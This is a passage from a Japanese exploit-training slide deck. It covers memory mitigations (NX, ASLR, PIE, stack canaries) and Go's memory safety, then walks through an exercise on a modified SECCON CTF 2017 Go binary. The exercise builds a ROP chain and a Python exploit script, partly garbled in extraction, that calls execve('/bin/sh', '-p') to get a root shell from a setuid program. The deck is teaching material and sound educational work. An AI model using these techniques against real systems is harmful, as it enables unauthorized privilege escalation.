    # checksec --file a.out
    RELRO STACK CANARY NX PIE .... FILE
    Full RELRO Canary found NX enabled PIE enabled .... a.out

    View Slide

  54. Advanced
    NX bit(No eXecute bit) / DEP
    ● NX bit / DEPとは
    ○ コンパイル時に有効・無効を設定
    ○ GCCではデフォルトでON
    ○ 実行コード領域以外は実行できなくする
    ● Recap: “2. Stack Buffer Overflow”での攻撃
    ○ NX bitがあるとStack領域にShellcodeを配置するこ
    とは出来ない
    0xffffffffffffffff
    0x00
    Virtual Memory (仮想メモリ)
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    libc 010010011010100101
    .data Segment
    * Only major segments included
    No
    Execute
    Execute

    View Slide

  55. Advanced
    ASLR (Address Space Layout Randomization)
    ● ASLR (Address Space Layout
    Randomization)
    ○ OS側で設定. 現代は基本的にデフォルト ON
    ○ Stack領域のアドレスをランダムにする
    ○ Heap領域(malloc)のアドレスをランダムにす

    ○ Dynamic Linkしたライブラリのアドレスをラン
    ダムにする(libcなど)
    ○ ELFファイルに含まれる実行コード・ Static Link
    された実行コードはランダム化されない
    ● PIE (Position-independent code)
    ○ ELFファイルに含まれる実行コードも含めてア
    ドレスをランダム化する
    0xffffffffffffffff
    0x00
    Virtual Memory (仮想メモリ)
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    libc 010010011010100101
    .data Segment
    * Only major segments included
    randomize

    View Slide

  56. Advanced
    SSP (Stack Smashing Protection, Stack Canary)
    ● SSP, Stack Canary
    ○ コンパイル時に有効・無効を設定
    ○ GCCではデフォルトでON
    ○ ランダムなCanaryをReturn Addressの上に
    配置しret前にCheckすることで、Stack
    Buffer Overflowを防ぐ
    Stack Segment ↑
    High Address
    Virtual Memory (仮想メモリ)
    Low Address
    Return Address
    Local Variables
    main()
    Return Address
    Local Variables
    function1()
    Saved RBP
    Saved RBP (main())
    Stack Canary
    Stack Canary

    View Slide

  57. Advanced
    C
    ● Ubuntu18.04のgccでコンパイルした場合のデフォルト
    ○ ASLRはデフォルトで有効(OS側のみで設定)
    ○ 現代ではOS側・コンパイラ側のMitigation技術により、Stack Buffer Overflowで実施したような
    単純な攻撃は成立することが少ない
    ■ * 各Mitigation技術に対しての対策は存在している
    # checksec --file a.out
    RELRO STACK CANARY NX PIE .... FILE
    Full RELRO Canary found NX enabled PIE enabled .... hello
    a.out

    View Slide

  58. Advanced
    Go
    ● Goのアプローチ
    ○ libcは使わない
    ■ System callを呼ぶアセンブリのコード自体が goのlibraryで実装されている= libcの持って
    いる機能の再実装が行われている
    ○ Static Link: シングルバイナリで共有ライブラリに依存しない
    ○ Security
    ■ メモリ境界はチェックが入るため、 Stack Buffer Overflowなどのメモリ破壊は起こせない
    ようになっている
    ● Mitigation設定の確認
    ○ メモリの改ざんが出来ない前提のため、 Stack Smashing Protection(Stack Canary)、PIE(実行
    コードアドレスのランダム化 )などは無効化されている
    $ bin/checksec --file hello
    RELRO STACK CANARY NX PIE .... FILE
    No RELRO No canary found NX enabled No PIE .... hello

    View Slide

  59. Advanced
    Exercise - Unsafe Library
    ● Exercise
    ○ Unsafeライブラリは生ポインタを用いた操作をサポートしているためメモリ破壊を発生させられ

    ○ “3. Advanced”の演習として、バッファオーバーフロー脆弱性のある Goコードを攻撃する
    ■ ソースコード
    ■ メモリのコピー関数においてバッファオーバーフロー脆弱性が発生
    func main() {
    buf := make([]byte, 32)
    stdin := bufio.NewScanner(os.Stdin)
    stdin.Scan()
    text := stdin.Text()
    memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text))
    ...
    }
    func memcpy(dst uintptr, src uintptr, len int) {
    for i := 0; i < len; i++ {
    *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src))
    dst += 1
    src += 1
    }
    } 参考: SECCON CTF2017の問題を一部変更して使用しています
    Stack Buffer Overflow
    buf[32]

    View Slide

  60. Advanced
    Demo
    ● 今回演習で使用する攻撃のデモをします
    ○ 何が起きているかをいま理解する必要はありません
    ● 攻撃の実施手順
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3
    ○ docker run --rm --privileged -it suezawa/exploit-exercise3 /bin/bash
    ● 今回の攻撃
    ○ 2と同じくStack Buffer Overflow脆弱性を突いた攻撃 . ただしいくつかのMitigationが有効
    ■ NX bit(DEP)が有効: スタック上のコードを用いて攻撃できない
    ■ ASLRが有効: スタックなどのアドレスはランダム化されている
    ■ PIEは無効: ELFバイナリに入っている実行コードのアドレスは固定
    ■ SSP(Stack Canary)は無効: Return addressの上書き防御はない
    ○ setuidされているbaby_stackの制御を奪い、rootに昇格してシェルを実行
    ○ ROP (Return-oriented programming)と呼ばれる攻撃手法を用いて execveを呼び出す

    View Slide

  61. Advanced
    Demo - Attacking using exploit_print.py
    Link

    View Slide

  62. Advanced
    IDA Pro
    ● IDA Pro
    ○ 非常に高機能なディスアセンブラ
    ○ 今回は無料版(IDA Pro Free)を用いる
    ■ 有料版だとスクリプトサポートがある。またデコンパイラも別売されている。
    ○ 2019年にNSAからGhidraというツールがリリース (オープンソース)され、そちらの人気も非常に
    高まっている
    ● Goバイナリの内容を確認するためにIDA Pro Freeを試す
    ○ Goバイナリにはsyscall.Syscallという、libcのようなシステムコールの wrapper関数が含まれて
    いる
    ○ syscall.Syscallというfunctionを見つけるのと、アセンブリを確認するために IDA Pro Freeを使う
    ○ → syscall.Syscallのアドレス: 0x481E40

    View Slide

  63. Advanced
    [Demo] IDA Pro
    Link

    View Slide

  64. Advanced
    Stack Frame (Go)
    ● GoのスタックフレームはCと異なる
    ○ Go
    ■ 引数 (Arguments)
    ● 全てStackにsetして渡す
    ● 参考: Cもx86(32bit)だとStack渡し
    ■ 戻り値 (Return values)
    ● Stackにsetして返す
    ● 複数の戻り値を持てる
    ○ C
    ■ 引数 (Arguments)
    ● レジスタ経由. 足りない場合はStackに
    set
    ■ 戻り値 (Return values)
    ● raxレジスタにsetして返す
    Stack Segment ↑
    High Address
    Virtual Memory (仮想メモリ)
    Low Address
    Return Address
    Local Variables
    Saved RBP
    Arguments
    Return values
    Return Address
    Local Variables
    Saved RBP
    Arguments
    Return values
    function1
    function2
    Go

    View Slide

  65. Advanced
    Stack Frame (Go)
    Stack Segment ↑
    High Address
    Virtual Memory (仮想メモリ)
    Low Address
    Arguments1: execve(59)
    Return values
    syscall.
    Syscall
    Arguments2: “/bin/sh”
    Arguments3: [“/bin/sh”, “-p”]
    Arguments4: NULL(0x00)
    Return address
    Local Values
    ● syscall.Syscall
    ○ 攻撃のゴール: execve(“/bin/sh”, [“/bin/sh”, “-p”],
    0x00) を呼ぶ
    ■ スタックフレームの状態は右記のようになる。
    ○ 今回はNX bit (DEP)が有効化されており、スタック領域
    にShellcodeを置けない
    ■ 実行ファイルに含まれる、この Syscall funcを用
    いてSystemcallを呼び出す
    func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

    View Slide

  66. Advanced
    How to attack
    ● 攻撃方法
    ○ 1. “/bin/sh”や”-p”などがメモリ上にないので、メモリ上に
    攻撃に必要な文字列を読み込む
    ○ read(0, .bss segment address, 100)
    ■ 0 = 標準入力
    ■ .bss = ASLRでランダム化されないアドレス
    ■ 100 = 入力を受け付ける上限
    ○ 2. execveシステムコールを呼ぶ
    ○ execve(“/bin/sh”, [“/bin/sh”, “-p”], 0)
    ■ “/bin/sh”
    ■ [“/bin/sh”, “-p”]
    ■ 0
    ● 固定されたメモリアドレス上に文字列を読み込
    み、そのアドレスをexecveに渡す
    0xffffffffffffffff
    0x00
    Virtual Memory (仮想メモリ)
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    .data Segment
    * Only major segments included
    “/bin/sh\0” “-p\0”, array...
    write

    View Slide

  67. Advanced
    How to attack - ROP
    ● Stackをこの状態にすれば、read()、execve()をcallして、攻撃が成立する
    ● 実行コード上のReturn命令を駆使して任意コード実行していく
    Return Address
    buf[]
    Saved RBP
    Arguments
    Return values
    main()
    original
    Stack
    layout
    000000000000000000000000
    000000000000
    &syscall.Syscall
    pointer of “add rsp, 32; ret”
    arg1: read (0)
    ret1
    ret2
    .text segment
    (syscall.Syscall func)

    syscall

    ret
    (? func)
    ...
    add rsp, 0x38(56)
    ret
    ...
    arg2: standard input (0)
    arg3: .bss address
    arg4: 0x100
    dummy(0\0\0\0\0\0\0\0)
    arg1: execve (59)
    arg2: pointer of “/bin/sh”
    arg3: pointer of [“/bin/sh”, “-p”]
    arg4: 0
    .bss segment
    “/bin/sh\0”
    “-p\0\0\0\0\0\0”
    64bit
    pointer of “/bin/sh”
    pointer of “-p”
    null pointer (\0\0\0\0\0\0\0\0)
    Array
    Adjust Stack
    Address
    ret3
    Overwritten by read()
    攻撃の流れ
    1. read() syscall
    2. add rspしてスタック位置の調整
    3. execve() syscall
    64bit
    dummy(return value1)
    dummy(return value2)
    dummy(return value3)
    &syscall.Syscall
    56byte

    View Slide

  68. Advanced
    Exploit
    addr_bss = 0x564200
    shellcode = "\0" * 224
    shellcode += struct.pack(" syscall.Syscall
    shellcode += struct.pack(" (add rsp, 0x38 ; ret)
    shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack(" syscall.Syscall
    shellcode += struct.pack(" dummy
    shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("print(shellcode)
    sys.stdout.flush()
    time.sleep(1)
    shellstr = "/bin/sh\0"
    shellstr += "-p\0\0\0\0\0\0"
    shellstr += struct.pack("shellstr += struct.pack("shellstr += struct.pack("print(shellstr)
    sys.stdout.flush()
    exploit_print.py
    main() func内のscan()向け
    呼び出されたread syscall向け
    攻撃の流れ
    1. read() syscall
    2. add rspしてスタック位置の調整
    3. execve() syscall

    View Slide

  69. Advanced
    Exercise - GDB Demo
    Link
    GDB with Stack Layout Image

    View Slide

  70. Advanced
    Exercise
    ● 実践
    ○ 下記資料に沿ってやってみてください
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3
    ● GDBを用いた理解 (次ページにビデオあり)
    ○ 下記コマンドでmain()関数のretまで自動実行されます
    ■ gdb bof -x gdb-autocommand
    ● read()システムコールに対しての入力 (“/bin/sh”などの書き込み)も行われます
    ○ 下記に注目してください
    ■ リターンポインタが上書きされた後、 ret命令でsyscall.Syscallに制御が移るところ
    ■ retを使って別の関数に渡っていくことによって最終的に execveシステムコールが呼び出
    されるところ

    View Slide

  71. Advanced
    (Reference) ROP (Return-Oriented Programming)
    ● ROP (Return-Oriented Programming)
    ○ 今回のように、Return命令を組み合わせて任意のコードを実行する手段を ROPと呼ぶ
    ○ 実行コードに含まれる 「****; ret」という命令を組み合わせて、任意のコードを実行していく
    ■ 今回は「add rsp, 0x38 (56); ret」という命令を利用して Stackの調整を行った
    ● ROP Gadget
    ○ 実行コード中にある「 ****; ret」という機械語のカタマリを ROP Gadgetと呼ぶ
    ○ rp++というツールで、実行コードに含まれる ROP Gadgetの一覧を取得できる
    # rp-lin-x64 -f baby_stack -r 1 --unique

    0x00403561: add rsp, 0x30 ; ret ; (199 found)
    0x0040197f: add rsp, 0x38 ; ret ; (111 found)
    0x00402ae0: add rsp, 0x40 ; ret ; (114 found)

    address

    View Slide

  72. Advanced
    (Reference) .bss segment address
    ● read system callで.bss segmentアドレスへの書き込みを行った
    ○ .bssアドレスの見つけ方
    ■ (PIEでない場合は、アドレスがランダム化されない )
    ■ GDBでbss領域のメモリの状態を見る
    # readelf -W -e baby_stack

    Section Headers:
    [Nr] Name Type Address Off Size ES Flg Lk Inf Al
    ...
    [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32
    ...
    gdb-peda$ hexdump 0x564200 48
    0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p......
    0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV.....
    0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................

    View Slide

  73. Summary
    ● コンピュータの動作から、攻撃手法、Mitigation技術を見てきた
    ○ 1. Introduction
    ■ コンピュータの動きについての説明
    ○ 2. Stack Buffer Overflow
    ■ Stack Buffer Overflowの実践
    ○ 3. Advanced
    ■ 攻撃Mitigation技術および回避手法の実践
    ● これからも攻撃と防御のいたちごっこは続いていく
    ■ 定期的に新しい脆弱性が公開される
    ■ 攻撃の流れやコンピュータの動作を知ることで、どのような脆弱性なのか、どのように攻
    撃されるのか、特性を理解するのが容易になる
    ● 自分のアプリケーション
    ● 自分のアプリケーション内で使っているライブラリ
    ● 管理しているサーバ・コンテナ上のアプリケーション
    ● Enjoy hacking :)

    View Slide

  74. Thanks!

    View Slide

  75. References
    ● 参考書籍
    ○ 『コンピュータの構成と設計 』(上・下) パターソン&ヘネシー
    ○ 『Hacking: 美しき策謀 第2版 ―脆弱性攻撃の理論と実際 』Jon Erickson
    ○ 『[試して理解]Linuxのしくみ ~実験と図解で学ぶ OSとハードウェアの基礎知識 』 武内 覚
    ● 攻撃参考Webサイト
    ○ 2. Stack Buffer Overflow
    ■ 『x64でスタックバッファオーバーフローをやってみる 』 ももいろテクノロジー
    ○ 3. Advanced
    ■ 『SECCON 2017 Online Exploit作問(Baby Stack)』 つれづれなる備忘録
    ● 主要使用ツール
    ○ IDA Pro Free Disassembler
    ○ gdb-peda GDB Extension (slide)
    ○ checksec Check security properties of executables
    ○ Radare2 Reverse engineering framework and command-line toolset (including rasm2)
    ○ rp++ Find ROP gadgets

    View Slide

  76. Special Thanks
    ● Reviewers
    ○ kcz (@kcz146)

    View Slide